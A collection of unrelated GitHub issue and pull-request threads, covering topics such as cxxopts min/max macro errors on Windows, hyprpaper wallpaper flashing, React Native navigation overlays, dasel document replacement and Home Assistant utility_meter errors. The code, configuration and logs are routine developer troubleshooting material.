Update Trusted Services Table Heading from "Usage Scenarios" to "Supported Usage Scenarios" for clarity
Change Requested by Amit Bapat & Rajeev Vijan

@ShaneBala-keyvault : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off

@ShaneBala-keyvault: I'm sorry - only the author of this article, @amitbapat, can sign off on your changes. But we do have an exception process - if you are on the Microsoft content or product team for this product area, you can ask the PR review team to review and merge it by sending mail to the techdocprs alias.

#sign-off

@Jak-MS : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Add SDWebImage dependency

Closes #23

Hi @zhangao0086
Can this please be merged as it stopping us from compiling our app against Xcode 12?


Reversed list of suggestions after recreating view.

When a search is done, the list of results appears in the right order, but after the view hierarchy is destroyed and then later recreated, the results are reversed.

Hi @Gloix,
Could you add some details to your problem?
Maybe your problem is that you are swapping the suggestions with an array and then you try to swap the suggestions again with the same array instance. If FloatingSearchView had to reverse the suggestions list, then, your array has been reversed twice, so the suggestions list appears reversed.
If you want to maintain and reuse a suggestions list, then you should pass a copy to the FloatingSearchView.swapSuggestions:
public class MyClass {
  FloatingSearchView mSearchView;
  ArrayList<SearchSuggestion> mMySuggestions;

...

  private void updateSuggestions() {
    mSearchView.swapSuggestions(new ArrayList<>(mMySuggestions));
  }

...

}

If this is not your problem, you can check at this fix I've just created #262

I've found another problem with reversed suggestions.
There is a new PR with a fix #263

Thank you so much :D
I think #263 will highly likely solve the issue. Will report back when I test a new version.


Improving the guide on how to create a Docker with SSH server installed.

Building Docker image from a Dockerfile is a more robust way (it's clear to the user what is inside the image) than providing a link to a private already-built image from quay.
Signed-off-by: Mateusz Blaszkowski<EMAIL_ADDRESS>

Looks good, thanks.


Heidi-Yoon NDVI Code Review 2022

Pull Request Template
Review Checklist
CI Checks

[ ] The notebook runs from start to finish on all operating systems:

[ ] Mac
[ ] Windows
[ ] Linux

Reproducibility

[ ] Are the data downloaded in the code
[ ] Are paths created to ensure they work on all operating systems (using  os.path.join)
[ ] Are comments used to clarify the contents of the code that can’t be clarified using expressive variable and function names alone? (not too many comments - just enough)
[ ] Does the notebook run from start to finish?

PEP 8 standards & Code Readability
Functions

[ ] Do functions follow PEP 8 format conventions?
[ ] Are function docstrings clear (all  inputs and outputs clearly  described and defined)
[ ] Are function names expressive (the name describes what the function does)?
[ ] Are functions easy to understand and read?
[ ] How many tasks does each function do? (ideally a function does one thing well).

Package imports

[ ] Are standard modules (those included with the base  python install) vs. third party (related but externally developed tools) import groups correct with appropriate spacing in between each group?
[ ] Are variable names throughout the code, expressive?
[ ] Suggest changes if not, highlight what was done well
[ ] Is the code overall easy to understand and read? Are there things that would make it more clear / cleaner?

DRY Code

[ ] Are segments of code repeated in the file or is the code DRY?
[ ] Are loops used to optimize DRY code?
[ ] Are functions used to optimize DRY code?
[ ] Are there any areas that could be potentially improved (you can suggest improvements OR you can just highlight parts of the code where you suspect it could  be cleaner / more efficient.

Novel Approaches to Problem solving

[ ] Highlight any novel approaches to completing the assignment.

Hi @AreteY! Here are some comments on your code. I'll submit an issue as well.
I think that a comment may have been helpful in line 148 to describe what is being done here.
https://github.com/earthlab-education/ea-2021-ndvi-automation-review/blob/9b7ae60a568be82901fbf0e70ebb4dfc38a71867/yoon_heidi_ndvi.py#L148
This is nitpicky, but just to keep things consistent, it might make sense to start at the end of the path or the beginning of the path to access both the date and time information.
https://github.com/earthlab-education/ea-2021-ndvi-automation-review/blob/9b7ae60a568be82901fbf0e70ebb4dfc38a71867/yoon_heidi_ndvi.py#L333-L334

Thanks @rami8797 !
-Ah yes, thanks for mentioning the matplotlib converters. Adding a comment would make it better.
-Thanks! I can change the date indices so that I count the same way.


Unable to install custom-pattern

Example Recipe Link: https://github.com/project-flogo/microgateway/tree/master/examples/json/custom-pattern
Steps to produce:
1)Clone the microgateway Repository:
git clone https://github.com/project-flogo/microgateway
cd microgateway/examples/json/custom-pattern
2)Create the flogo App:
flogo create -f flogo.json
cd MyProxy
3)Try installing the custom-pattern
flogo install github.com/project-flogo/microgateway/examples/json/custom-pattern
Below error is seen:
panic: runtime error: index out of range

fixed with latest cli

Working fine.


Fix line 489.

When I try this tutorial,I got an error on line 489.
My python version is Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)] on win32.
My Django version is Django1.10.5.
The error tells :
TypeError: can't compare datetime.datetime to datetime.date.
So I do this fix.
Please forgive me for my poor English:-)

It might because I use SQLite instead of PostgreSQL.

Hi, you may have made mistake somewhere -- the current version of the tutorial works for me. Please use our support channels to get help.


[STYLE] Create Navbar for website

We are re-designing the website, so we need to make this side-nav as provided below:

You have to make it using React.
The open and close state of the nav is shown in the design.
Use react-icons for adding icons

If you have any doubts you can ask on discord.

To create a navbar for a website, start by structuring it using HTML with unordered lists and list items. Apply CSS styles to customize its appearance, including responsive design for different screen sizes. Optionally, use JavaScript for dropdown menus or other interactive features.
@jayk-gupta Sir, please assign this issue to me under GSSOC'23.

You have to make it using react, do you know React?

@jayk-gupta I want to take up this issue under gssoc'23

@jayk-gupta Sir, yes I know React.

@jayk-gupta Sir, yes I know React.

Can we have a google meet today?

@jayk-gupta Sir, yes I know React.

Can we have a google meet today?

Sure Sir

@jayk-gupta Sir, yes I know React.

Can we have a google meet today?

Sure Sir

Where can I contact you?

@jayk-gupta Sir, yes I know React.

Can we have a google meet today?

Sure Sir

Where can I contact you?

On LinkedIn

@jayk-gupta Sir, yes I know React.

Can we have a google meet today?

Sure Sir

Where can I contact you?

On LinkedIn

I have sent req

any update on it?

any update on it?

Most probably it will be completed by tomorrow.


Fixed : Wrong instruction to install Docker Compose on Linux #14367

Hey @sebastianfaulhaber I have fixed this. Please review my PR.
Thanks!
#14367

Closing this PR as


Delete code related to Thyra wallet

Context
Thyra wallet has been isolated as it is so we can use it as a plug-in. Now it is isolated and connected to thyra via API we need to clean it and later on to improve it adding new features.
The objective of this ticket is to delete code related to Thyra wallet now it's working as a plug-in.
User flow

As an Inno team dev, I want to work on a clean code where everything is used and useful otherwise I can get rid of it.

Technical details
To be be added by the dev prior to start the work.

@B-Naoufal if you already know some of the function / code that needs to be removed can you add them in to the tech details part of the description please?
Cheers

In blocked until some clarifications are made about the perimeter and the limits of the links to web on chain and wallet on thyra

@B-Naoufal @0xMazout after discussing this issue w/ you Naoufal, Pierre as a plugin referee and Greg, we agreed that the code cleaning of the wallet plugin has been done with this ticket:
https://github.com/massalabs/thyra-plugin-wallet/issues/21
So this one is more relevant for Thyra wallet side. Which means that I'll close this ticket and create another one in appropriate repo.
On top of that, please note that the code cleaning of the wallet on Thyra side will be done AFTER the wallet plugin is fully functional, iso to thrya wallet AND correctly connected to other plugins and web-on. IE: not a priority for now.


MACRO min/max under WINDOWS

C:\dev\workspace\z_eph\tool\utils\cxxopts.hpp(1342): error C2589: '(': illegal token on right side of '::'
C:\dev\workspace\z_eph\tool\utils\cxxopts.hpp(1342): error C2062: type 'unknown-type' unexpected
C:\dev\workspace\z_eph\tool\utils\cxxopts.hpp(1342): error C2059: syntax error: ')'
C:\dev\workspace\z_eph\tool\utils\cxxopts.hpp(1346): error C2589: '(': illegal token on right side of '::'
C:\dev\workspace\z_eph\tool\utils\cxxopts.hpp(1346): error C2062: type 'unknown-type' unexpected
C:\dev\workspace\z_eph\tool\utils\cxxopts.hpp(1346): error C2059: syntax error: ')'

the errors related with min and max in the library
cxxopts.hpp:
            longest = std::max(longest, stringLength(s));
            format.push_back(std::make_pair(s, String()));
        }

        longest = std::min(longest, static_cast<size_t>(OPTION_LONGEST));

the problem (Windows specifics) usually related with that there are macro definitions for min and max.
this (below) solves the problem :

I'll perform some tests and if this woks okay and will raise a PR with WINDOWS only ifdef

Which version of the compiler? I've had a few other people discuss MSVC and they haven't had issues.
Does it also work if you an extra set of parentheses around the argument to min and max?

extra parentheses doesn't solve the problem,
VC toolchain is version 15, aka VisualStudio 2017
compiler version 19.XXXX

I'm happy to accept a pull request. I wonder if a better option would be to write (std::max)(x, y) as suggested by the StackOverflow answers, rather than #undef.

sure, Ill raise a request

I usually define NOMINMAX as preprocessor def in VS

Is this still an issue for you?

I'm using cxxopts on Windows and have no issue to report.
The preprocessor flags on Windows does the trick.
Le 23 août 2017 13:44, "jarro2783"<EMAIL_ADDRESS>a écrit :

Is this still an issue for you?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/jarro2783/cxxopts/issues/49#issuecomment-324303816,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAr_I0ODpPeWpPhDxHP8FD3tf0CjJW7nks5sbBCLgaJpZM4Nk0om
.

I just picked this up for a project on Windows. Definitely use the built-in NOMINMAX define for Windows.h instead of trying to undef it manually.
If you undef, #include <cxxopts.hpp> would have side-effects for applications assuming that min and max are existing macros in later code, since the preprocessor has no scope.
Proper usage:
#ifndef NOMINMAX
#define NOMINMAX
#endif

#include <Windows.h>

#include <cxxopts.hpp>

An example that would break with #undef:
#include <Windows.h>
#include <cxxopts.hpp>

int main (int argc, char* argv[]) {
    return max(2, 3);
}

agreed ,NOMINMAX prefered way and it works fine for me too
request can be closed without modification the library

@jarro2783 I am sorry to bother the rest of others about a closed issue. As someone who tries to use cxxopts on windows with MSVC, I found it is very frustrated to deal with  MACRO min/max under WINDOWS.  But I would sugguest that opensource library should provide more friendly solution to third party users. As an example, add parenthesis to anywhere you have min and max as it is suggested by NIRO
(std::numeric_limits<size_type>::max)()
(std::min)
(std::max)

As it is said,

No need for the NOMINMAX macro in this case, plus you won't get compiler warnings

I wrote this in memory of my lost 30 minutes at this time.

That seems like a reasonable workaround. I'll make the changes at some point soonish.


Link previews in PMs get displayed in the PM channel with yourself (and only there)

Image of the PM channel with another user:

Image of the PM channel with myself:

running latest lounge on npm (2.1) and chrome 55 on win10 64bit.

fixed by #701, leaving open till that gets merged


Hyprland default background falshes for a second while changing the wallpaper

I am able to use hyprpaper to auto-cycle my wallpapers randomly. It is a simple loop where I preload, set and then unload the wallpaper. The basic functionality works. But the problem is I see the default Hyperpaper background for a split second when a new wallpaper is being set. I expect he transition to be smooth without the user realising there is a background behind the wallpapers.
The script
wpfolder=~/Pictures/Wallpapers
wallpapers=($(ls ~/Pictures/Wallpapers))
currentwp=$wpfolder/wp2118378.jpg
echo ${#wallpapers[@]}
while true
do
	echo Unloading $currentwp
	hyprctl hyprpaper unload $currentwp
	currentwp=$wpfolder/${wallpapers[$(($RANDOM % 25))]}
	echo Preloading $currentwp
	hyprctl hyprpaper preload $currentwp
	sleep 5s
	echo Applying $currentwp
	hyprctl hyprpaper wallpaper HDMI-A-1,$currentwp
	sleep 5s
done

The  logs
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Received a request: unload /home/saurabh/Pictures/Wallpapers/wp2118441.jpg
[LOG] Unloading target /home/saurabh/Pictures/Wallpapers/wp2118441.jpg, preload path /run/user/1000/.hyprpaper_cOk2Xw
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Closing Accepted Connection
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Received a request: preload /home/saurabh/Pictures/Wallpapers/wp2118431.jpg
[LOG] Preloaded target /home/saurabh/Pictures/Wallpapers/wp2118431.jpg in 14.05ms -> Pixel size: [3440, 1440]
[LOG] Buffer created for target /home/saurabh/Pictures/Wallpapers/wp2118431.jpg, Shared Memory usage: 11.1MB
[LOG] Total SM usage for all buffers: 11.1MB
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Closing Accepted Connection
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Received a request: wallpaper HDMI-A-1,/home/saurabh/Pictures/Wallpapers/wp2118431.jpg
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Closing Accepted Connection
[LOG] configure for HDMI-A-1
[LOG] handlePreferredScale: 1.00 for 719a200d21b0
[LOG] handlePreferredScale: 1.00 for 719a200d21b0
[LOG] Image data for HDMI-A-1: /home/saurabh/Pictures/Wallpapers/wp2118431.jpg at [-13.33, 0.00], scale: 0.75 (original image size: [3440, 1440])
[LOG] Rendering splash: Take on me, take me on...
[LOG] Splash font size: 18, pos: 1561.78, 1393.87
[LOG] Submitting viewport dest size 2560x1080 for 200d21b0
[LOG] configure for HDMI-A-1
[LOG] handlePreferredScale: 1.00 for 719a200d21b0
[LOG] handlePreferredScale: 1.00 for 719a200d21b0
[LOG] Image data for HDMI-A-1: /home/saurabh/Pictures/Wallpapers/wp2118431.jpg at [-13.33, 0.00], scale: 0.75 (original image size: [3440, 1440])
[LOG] Rendering splash: Take on me, take me on...
[LOG] Splash font size: 18, pos: 1706.67, 1411.20
[LOG] Submitting viewport dest size 2560x1080 for 200d21b0
[LOG] handlePreferredScale: 1.00 for 719a200d21b0
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Received a request: unload /home/saurabh/Pictures/Wallpapers/wp2118431.jpg
[LOG] Unloading target /home/saurabh/Pictures/Wallpapers/wp2118431.jpg, preload path /run/user/1000/.hyprpaper_yfXtfg
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Closing Accepted Connection
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Received a request: preload /home/saurabh/Pictures/Wallpapers/wp2118523.jpg
[LOG] Preloaded target /home/saurabh/Pictures/Wallpapers/wp2118523.jpg in 15.06ms -> Pixel size: [3439, 1439]
[LOG] Buffer created for target /home/saurabh/Pictures/Wallpapers/wp2118523.jpg, Shared Memory usage: 11.1MB
[LOG] Total SM usage for all buffers: 11.1MB
[LOG] Accepted incoming socket connection request on fd 5
[LOG] Closing Accepted Connection

I assume you have animations disabled? With fade this shouldn't be visible.

If you mean the hyprland animations I do have them turned on at the moment. I don't see any configuration examples or documentation for animations under hyprpaper though.
I even tried to look into the source for hyprpaper but could not find anything related to animations. Could you point me to something that is available or let me know the steps I could take to configure it?

I meant hyprland animations.
Ah, I see what you mean.
The default wallpaper in the background is flashing due to how opacity works, really.
hyprpaper does the following to interact nicely with hyprland animations:

load wallpaper
destroy old LS
create new LS

That means that while the old LS is fading out, the new LS is fading in. Because of how opacity works, e.g.:

render background
render old LS at opacity 0.5
render new LS at opacity 0.5
The background will still be visible a bit.

I recommend you disable the background in the hyprland config. That should solve your issue.

Hmm
Now that you mention fade. Yes that makes more sense now.
Thanks for pointing to disabling the default background things looking much better now.


[NavigationExperimental] Render overlay first in NavigationAnimatedView

At the moment, the overlay is the last element rendered in the AnimationAnimatedView:
https://github.com/facebook/react-native/blob/master/Libraries/NavigationExperimental/NavigationAnimatedView.js#L165
The drawback of this approach is you have to position the overlay in absolute to get it on top and then you have to manually add a marginTop to your scene if the overlay is not a true overlay, like the navigation header.
Given RN flexbox implementation does not support order property, we cannot re arrange it to be first. I dont think there is any drawback to actually renderer it first so that we can naturally leverage flexbox if needed.
@ericvicenti any though ?
Thanks

We still need to be able to position the header above everything else. I think it may be appropriate to also have an underlay which works in the same way as the overlay but is rendered before any scenes.
@hedgerwang, any thoughts?

I assumed that you would actually use the overlay to inject the header and it would therefore naturally be above everything else. Am missing something ?

We still need to be able to overlay the header above the scene because in some apps (usually iOS), the header is partially transparent or blurry, and it is expected to see the scene scrolling behind it.

But if you position the overlay in absolute, don't you already get that, independently of the overlay being rendered first or not ? The render flow/order should not matter anymore.

Ha i guess you are talking about the z-index and by rendered last you make sure it's above (elevation) the scene...

So In the scenario that the overlay is solid, being able to underlay rather than overlay would be pretty handy.

Yeah, that makes sense. So I would be in support of a new renderUnderlay prop. But I understand that naming is confusing. If this is important to you, can you file a new issue about the naming and propose some alternate names?

Sure thing, thanks for the quick feedback !

I also wonder that given you dont really want to have both an underlay and an overlay, maybe the solution would be to introduce a boolean prop renderOverlayFirst to indicate if the overlay should be rendered first or not. Or the reverse, renderOverlayLast with default value to true.
What do you think ?

But that does leave things a little bit weird with an overlay that potentially ends up not being technically over...

I think there may be some extreme use cases where developers may want both an overlay and an underlay, and it is easy to support both, so I think we should probably do that.
Another thing to consider: we could remove the overlay entirely from this view and let the app developer do this part themselves, or use a higher-level component that has the desired behavior

@tlvenn : could you please try to move the overlay before the scenes and remove the absolute position styles and see whether that would work with multiple scenes? I think it makes senses to not enforce fixed-height header and margin-top.
@ericvicenti: I think overlay could be removed off the AnimatedView. Otherwise we'd have to add more overlays for footer, drawer, sidebar....etc.
We could decouple the API to be something like this:
<View>
  <NavigationAnimatedView navigationState={navigationState} renderScene={renderHeader} />
  <NavigationAnimatedView navigationState={navigationState} renderScene={renderScene} />
</View>

@hedgerwang, that is problematic because on iOS the header needs to animate at the same speed as the gesture that is happening on the scene

@hedgerwang It does work just fine as far as your overlay is in the flow and push downward the scene but as pointed out by @ericvicenti , if you want your overlay to float above your scene, out of its flow, if you render it first, it will be behind the scene (z-index) instead of being on top of it.

@ericvicenti : you're right! I forgot about the fact that the position is owned by the NavigationAnimatedView` and sharing them with two animated view could be tricky.

@tlvenn : I shall play around the idea by remove the position: absolute styles. If it works, I'll make the change.

@hedgerwang : But given z-index in RN is provided by render order, if you render the overlay first, it will necessary be under the scene and then the scenario that @ericvicenti has mentioned cannot be done anymore.
And yes , thinking about it, it could be useful to have both underlay and overlay. For example, I would use the underlay to render the navigation header using flexbox and I could leverage the overlay to display pure JS modals.

I think probably the best course of action would be to remove the position: absolute styles from the NavigationHeader container with the expectation that it would leverage the underlay rather than the overlay. And if people needs something fancy with transparent / semi transparent nav where the scene can scroll under, they can still do it by overriding the nav header styles to use absolute positioning and then leveraging the overlay.
Benefit would be that for most cases, the navigation header will automatically push downward the scene without asking the user to duplicate the nav header height calculation logic on its own so he can use it as a marginTop to his scenes.

hi @hedgerwang, any update ? Thanks

@hedgerwang @ericvicenti What's the final verdict on this one? Seems like we soon will have z-index support. Given that, I'm not sure what value there is in adding a renderUnderlay prop. But if we still want to go ahead with this, I can send in a PR that adds it to both (now deprecated) AnimatedView and Transitioner.
🍺

This issue was addressed in facebook/react-native@3a6231432a48f49d67d24fa87dac75e8fb7ac345. Both renderScene and renderOverlay are now deprecated. NavigationTransitioner now delegates rendering of all its children to a user provided render function in which you can place your overlay however you want.
🍺

Closing this based on @jmurzy's comment. Thanks for helping out with all the Navigation diffs & issues btw :)

Yeah I think we can close this issue now, as we are about to deprecate NavigationAnimatedView.
NavigationTransitioner isn't just a better name for NavigationAnimatedView, its a simpler implementation that avoids issues like this entirely. As @jmurzy said, you are now responsible for rendering all of the scenes as well as the header/footer/underlay. Instead of renderScene, renderOverlay and renderUnderlay, you just have render.
Instead of this:
<NavigationAnimatedView
  renderScene={this._renderScene}
  renderOverlay={this._renderOverlay}
  navigationState={ns}
/>

We have this:
<NavigationTransitioner
  render={(props) => (
    <View>
      {props.scenes.map(scene => this._renderScene({ scene }))}
      {this._renderOverlay(props)}
    </View>
  )}
  navigationState={ns}
/>

So hopefully this will enable people to make more creative views that allow crazy integrations between the header and scenes. We can also build better tools and abstractions by having a more flexible interface and allowing the transitioner to do what it does best.

I'm not sure i understand this issue correctly but is it to do with the z-index of the navigation bar? i'm using vanilla navigator and am having issues with content obviously being on a lower z-index order [i.e swipeable tinder cards are behind navigation bar] can i get around this by using Navigation experimental?


fix (#1652): Remove outdated mention of ignite plugins and ignite json config

Please verify the following:

[x] yarn ci:test jest tests pass with new tests, if relevant
[x] README.md has been updated with your changes, if relevant

Describe your PR
Remove mention of plugins and ignite.json that were removed in ignite v6: flame
Fixes #1652

:tada: This PR is included in version 7.15.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Replacing an object's value with new object

Thanks for creating such a great tool! I like it very well. 🤙🧡
Describe the desired outcome
My question is slightly similar to #23, what I'm trying to achieve is to simply replace the value of a specific object with a new value to be given from by the stdout pipe.
Let's consider we have an scale.yaml file:
apiVersion: autoscaling/v1
kind: HorizontalPodAutoscaler
metadata:
  name: foo-autoscaler
  namespace: foo
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: foo-deployment
  minReplicas: 40
  maxReplicas: 40
  targetCPUUtilizationPercentage: 70

In order to save spec object changes from each pipeline run, i should have replace spec object with current values.
Attempts
I run this command:
$ dasel put string -f scale.yml -s "spec" "$(kubectl get hpa foo-autoscaler -o yaml | dasel select -p 'yaml' '.spec')"

But I'm getting this one:
apiVersion: autoscaling/v1
kind: HorizontalPodAutoscaler
metadata:
  name: foo-autoscaler
  namespace: foo
spec: |-
  maxReplicas: 40
  minReplicas: 40
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: foo-deployment
  targetCPUUtilizationPercentage: 70

Please notice that, I do not want the |- (Block Chomping Indicator). But I was expecting for it to set as object. I could not find any documentation about replacing the objects in README. It will be cool if you add more examples about replacing - and maybe cross replacing, i.e.: json object to yaml object.
Thanks!

Hey @Dentrax,
Thanks for your question.
The docs on replacing objects can be found here: https://github.com/TomWright/dasel#put-object
It doesn't look like dasel can do what you need yet though - you need to define the object property by property.
I think a new put document command could help out here.

Additionally the docs on converting between different data formats are here: https://github.com/TomWright/dasel#converting-between-formats
I will soon create a new feature request issue for a put document command that should solve your issue.

Thanks for documentations and prompt response! I guess I missed that parts. :) This will be great feature. I will look forward to it.
What I am concerning about is how to use put document in cross formats. i.e.:
YAML
foo: true
bar: 5
baz:
  qux: false
  quux: "yes"
  quuz: 7

JSON
[
 {
 "qux": false,
 "quux": "no",
 "quuz": 8
 }
]

As we all know, this JSON is in list of objects format. If we want to put document any JSON object (i.e. first array item) to YAML's baz, what command should we execute?

I have created a feature request for this problem: https://github.com/TomWright/dasel/issues/67
For a more specific example in this use-case I would expect something like this:
echo 'foo: true
bar: 5
baz:
  qux: false
  quux: "yes"
  quuz: 7' | dasel put document -d json '.baz' $(echo '[
 {
 "qux": false,
 "quux": "no",
 "quuz": 8
 }
]' | dasel -p json '.[0]')

Sudo code explanation with placeholders
JSON_ARRAY =
[
 {
 "qux": false,
 "quux": "no",
 "quuz": 8
 }
]

YAML_CONTENT =
foo: true
bar: 5
baz:
  qux: false
  quux: "yes"
  quuz: 7

The JSON_ARRAY isn't actually what we want to use, so we extract the first item from the array.
JSON_DOCUMENT = echo JSON_ARRAY | dasel -p json '.[0]'
{
  "qux": false,
  "quux": "no",
  "quuz": 8
}

Finally we put the extracted json document into the yaml content using the baz property.
echo YAML_CONTENT | dasel put document -d json '.baz' JSON_DOCUMENT

@Dentrax This is now supported as of v1.10.0

You are so fast! Thanks for such a great job. 🔥


Is it possible to use a pure rust lib rather than onig?

Is it possible to use a pure rust lib rather than onig? I'm mostly asking this question so that the answer is documented. When it's not pure rust people can have trouble compiling with gcc on windows on gnu toolchain - it requires more setup and configuration of a windows machine than just installing rustup.
As I said I'm sure there's some good reasons behind using onig versus depending on some parts of ripgrep, just would be nice to know so that I can stop wondering.... :-)

This crate doesn't use onig, it is pulled in through syntect. I am sad about it too. https://github.com/trishume/syntect/issues/12

Seems like soonish there might be a fancy-regex feature: https://github.com/trishume/syntect/pull/270
Sent with GitHawk

The fancy-regex mode was just merged and released as v4.0.0! You may want to try using it to fix this issue, although it does halve performance so you may only want to use it on platforms where it's needed.
Still hoping that onig's build will eventually improve but for now fancy-regex is a good option.

Even as a feature that’s helpful. Ideally a bit of the readme can just say for the max-rust version do ‘X’.
Sent with GitHawk

I've already added such a section to the Readme :)

Thanks - I was thinking of the readme for cargo-expand as that’s where people will look for it initially.
Sent with GitHawk

Fixed in 0.5.0.

Beautiful, thanks to everyone involved!


how to custom color fade

I find that many application title bars fade when they lose focus

I don't fully understand this yet, could you provide more information?

do you observe a fade with titlebars from this library? or
do you expect the titlebars to fade because you think, they should?

What operating system do you use? Can you explain 'fade', is it a change of color or opacity?


Errors showing up on utility_meter.select_tariff automations

Home Assistant release with the issue: 0.90 (may be previous version ?)

Last working Home Assistant release (if known): Don't know, I have just implemented the utility_meter component in 0.90
Operating environment (Hass.io/Docker/Windows/etc.): Hass.io on RPI 3B+

Component/platform: https://www.home-assistant.io/components/utility_meter/

Description of problem: Each time my automation to select tariffs is triggered, I have the same exact errors showing up for each utility_meter entities related to my automations
Problem-relevant automations.yaml entries and (fill out even if it seems unimportant):
- alias: "[Energy] Monitor On-Peak Consumption"
  trigger:
    - platform: time
      at: '07:00:00'
    - platform: time
      at: '17:00:00'
  condition:
    condition: state
    entity_id: binary_sensor.is_it_workday
    state: 'on'
  action:
    - service: utility_meter.select_tariff
      data:
        entity_id: group.utility_meter_entities
        tariff: onpeak

- alias: "[Energy] Monitor Mid-Peak Consumption"
  trigger:
    - platform: time
      at: '11:00:00'
  condition:
    condition: state
    entity_id: binary_sensor.is_it_workday
    state: 'on'
  action:
    - service: utility_meter.select_tariff
      data:
        entity_id: group.utility_meter_entities
        tariff: midpeak

- alias: "[Energy] Monitor Off-Peak Consumption"
  trigger:
    - platform: time
      at: '19:00:00'
  condition:
    condition: state
    entity_id: binary_sensor.is_it_workday
    state: 'on'
  action:
    - service: utility_meter.select_tariff
      data:
        entity_id: group.utility_meter_entities
        tariff: offpeak

Traceback (if applicable):
Error doing job: Exception in callback <function async_track_state_change.<locals>.state_change_listener at 0x724c64f8>
Traceback (most recent call last):
  File "uvloop/cbhandles.pyx", line 64, in uvloop.loop.Handle._run
  File "/usr/local/lib/python3.7/site-packages/homeassistant/helpers/event.py", line 82, in state_change_listener
    event.data.get('new_state'))
  File "/usr/local/lib/python3.7/site-packages/homeassistant/core.py", line 333, in async_run_job
    target(*args)
  File "/usr/local/lib/python3.7/site-packages/homeassistant/components/utility_meter/sensor.py", line 121, in async_tariff_change
    self._collecting()
TypeError: 'NoneType' object is not callable

Additional information:

Could you please share your utility_meter configuration ?

Yes sure. I put the whole content of my package - don't know if you need the whole code though.
I'm using the exact same configuration for each smart plugs but source's entity, of course  :
homeassistant:
  customize:
    utility_meter.sonoff_1000384783_daily_energy_consumption:
      friendly_name: 'Server-532U3C Daily Meter'
    utility_meter.sonoff_1000384783_monthly_energy_consumption:
      friendly_name: 'Server-532U3C Monthly Meter'

    sensor.sonoff_1000384783_energy:
      friendly_name: 'Server-532U3C Energy Total'
      icon: mdi:calendar-blank

    sensor.sonoff_1000384783_daily_cost:
      friendly_name: 'Server-532U3C Daily Cost'
      icon: mdi:coin
    sensor.sonoff_1000384783_monthly_cost:
      friendly_name: 'Server-532U3C Monthly Cost'
      icon: mdi:coin

    sensor.sonoff_1000384783_daily_energy_consumption_offpeak:
      friendly_name: 'Server-532U3C Daily Off-peak Consumption'
    sensor.sonoff_1000384783_daily_energy_consumption_midpeak:
      friendly_name: 'Server-532U3C Daily Mid-peak Consumption'
    sensor.sonoff_1000384783_daily_energy_consumption_onpeak:
      friendly_name: 'Server-532U3C Daily On-peak Consumption'

    sensor.sonoff_1000384783_monthly_energy_consumption_offpeak:
      friendly_name: 'Server-532U3C Monthly Off-peak Consumption'
    sensor.sonoff_1000384783_monthly_energy_consumption_midpeak:
      friendly_name: 'Server-532U3C Monthly Mid-peak Consumption'
    sensor.sonoff_1000384783_monthly_energy_consumption_onpeak:
      friendly_name: 'Server-532U3C Monthly On-peak Consumption'

sensor:
  - platform: integration  # get kWh from W
    source: sensor.sonoff_1000384783_power
    name: sonoff_1000384783_energy
    unit_prefix: k
    round: 2

  - platform: template
    sensors:
      sonoff_1000384783_daily_cost:
          value_template: '{{ ((((states.sensor.sonoff_1000384783_daily_energy_consumption_offpeak.state | float) * 6.5) + ((states.sensor.sonoff_1000384783_daily_energy_consumption_midpeak.state | float) * 9.4) + ((states.sensor.sonoff_1000384783_daily_energy_consumption_onpeak.state | float) * 13.2)) / 100) | round(2) }}'
          unit_of_measurement: '$'
      sonoff_1000384783_monthly_cost:
          value_template: '{{ ((((states.sensor.sonoff_1000384783_monthly_energy_consumption_offpeak.state | float) * 6.5) + ((states.sensor.sonoff_1000384783_monthly_energy_consumption_midpeak.state | float) * 9.4) + ((states.sensor.sonoff_1000384783_monthly_energy_consumption_onpeak.state | float) * 13.2)) / 100) | round(2) }}'
          unit_of_measurement: '$'

utility_meter:
  sonoff_1000384783_daily_energy_consumption:
    source: sensor.sonoff_1000384783_energy
    cycle: daily
    tariffs:
      - onpeak
      - midpeak
      - offpeak
  sonoff_1000384783_monthly_energy_consumption:
    source: sensor.sonoff_1000384783_energy
    cycle: monthly
    tariffs:
      - onpeak
      - midpeak
      - offpeak

just wanted to give a precision regardin the traceback I've posted before - the '0x724c64f8' is also different for each entity related error...

did you create "group.utility_meter_entities" ?

Yes of course I did !
group:
  utility_meter_entities:
    name: Utility Meter Entities
    view: no
    entities:
      - utility_meter.teckin_sp20_6a6d_daily_energy_consumption
      - utility_meter.teckin_sp20_b4bc_daily_energy_consumption
      - utility_meter.teckin_sp20_675b_daily_energy_consumption
      - utility_meter.teckin_sp20_5f06_daily_energy_consumption
      - utility_meter.teckin_sp20_2e08_daily_energy_consumption
      - utility_meter.teckin_sp20_0667_daily_energy_consumption
      - utility_meter.sonoff_1000384783_daily_energy_consumption
      - utility_meter.teckin_sp20_6a6d_monthly_energy_consumption
      - utility_meter.teckin_sp20_b4bc_monthly_energy_consumption
      - utility_meter.teckin_sp20_675b_monthly_energy_consumption
      - utility_meter.teckin_sp20_5f06_monthly_energy_consumption
      - utility_meter.teckin_sp20_2e08_monthly_energy_consumption
      - utility_meter.teckin_sp20_0667_monthly_energy_consumption
      - utility_meter.sonoff_1000384783_monthly_energy_consumption

Actually, very important things I totally forgot to say in my initial message is that everything works well BUT I have these errors showing up each times my automations trigger !

Ok! I was able to replicate and hopefully fix it :)


JS API: Add capability to add color palettes to configs

This issue has been mirrored in Jira: https://reddata.atlassian.net/browse/GROK-16686

DG.Color.categoricalPalettes['New color palette'] = [DG.Color.black, DG.Color.cyan, DG.Color.currentRow, DG.Color.green, DG.Color.darkGreen, DG.Color.yellow];


Add the proposal of the new feature - MultipleHubs.

/assign @qiujian16
